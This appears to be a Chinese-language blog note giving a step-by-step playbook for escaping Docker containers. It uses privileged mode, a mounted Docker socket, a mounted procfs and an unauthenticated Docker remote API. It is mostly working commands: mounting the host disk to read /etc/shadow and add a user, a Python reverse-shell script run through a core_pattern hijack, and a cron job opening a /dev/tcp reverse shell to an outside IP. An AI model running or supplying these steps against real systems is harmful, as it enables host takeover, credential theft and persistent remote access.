云原生-docker

拿到权限:判断是否为容器

https://blog.csdn.net/qq_23936389/article/details/131486643

三种安全容器逃逸:

  • 特权模式启动导致(不安全启动 适用于 java jsp 高权限无需提权 还要提权才能逃
    逸)
  • 危险挂载启动导致(危险启动 适用于 java jsp 高权限无需提权 还要提权才能逃逸)
    -docker 自身 & 系统漏洞(软件漏洞和系统漏洞 都可用)
    https://wiki.teamssix.com/cloudnative/

容器逃逸 - 特权模式

https://wiki.teamssix.com/CloudNative/Docker/docker-privileged-escape.html

启动 docker 容器:

1
docker run --rm --privileged=true -it alpine  //启用--privileged=true,container内的root拥有真正的root权限,可能让攻击者利用此进行容器逃逸

判断是否为容器环境:

1
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

如果返回 Is Docker,说明当前是 Docker 容器环境,反之亦然。

判断特权模式:

1
2
3
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
或者
cat /proc/self/status | grep CapEff

在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为 0000003fffffffff 或者是 0000001fffffffff

方法一:

查看挂载磁盘设备:

1
fdisk -l

在容器内部执行以下命令,将宿主机文件挂载到 /test 目录下:

1
mkdir /test && mount /dev/sda1 /test

尝试访问宿主机 shadow 文件,可以看到正常访问

1
cat /test/etc/shadow

方法二

1
2
mount /dev/sda1 /mnt
chroot /mnt adduser john

通过新添加的用户登录

容器逃逸 - 挂载 逃逸

https://wiki.teamssix.com/CloudNative/Docker/docker-procfs-escape.html

启动容器:

1
2
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu //procfs
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu //Socket

挂载 Docker Socket 逃逸 :

执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket

1
2
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."
ls -lah /var/run/docker.sock

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

1
docker run -it -v /:/host ubuntu /bin/bash

在新的容器内执行 chroot,将根目录切换到挂载到宿主机的根目录

1
chroot /host

挂载 procfs 逃逸 :

执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs

1
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."

如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs

1
find / -name core_pattern

找到当前容器在宿主机下的绝对路径

1
2
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
//为绝对路/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/merged

安装 vim 和 gcc

1
2
apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py

创建一个反弹 Shell 的 py 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python3
import os
import pty
import socket
lhost = "172.16.214.1"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()

给 Shell 赋予执行权限

1
chmod 777 .t.py

写入反弹 shell 到目标的 proc 目录下

1
echo -e "|/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/merged/tmp/.t.py \rcore    " >  /host/proc/sys/kernel/core_pattern

在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序

1
2
3
4
5
6
7
8
9
vim t.c
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
gcc t.c -o t
./t

Docker 远程 API 未授权访问逃逸

docker remote api 可以执行 docker 命令,docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 docker

将 docker 守护进程监听在 0.0.0.0

1
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

检测:

1
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$IP:2375

如果返回 404 说明存在

列出容器信息

1
curl http://<target>:2375/containers/json

查看容器

1
docker -H tcp://<target>:2375 ps -a

新运行一个容器,挂载点设置为服务器的根目录挂载至 /mnt 目录下。

1
docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash

在容器内执行命令,将反弹 shell 的脚本写入到 /var/spool/cron/root

1
echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

本地监听端口,获取对方宿主机 shell。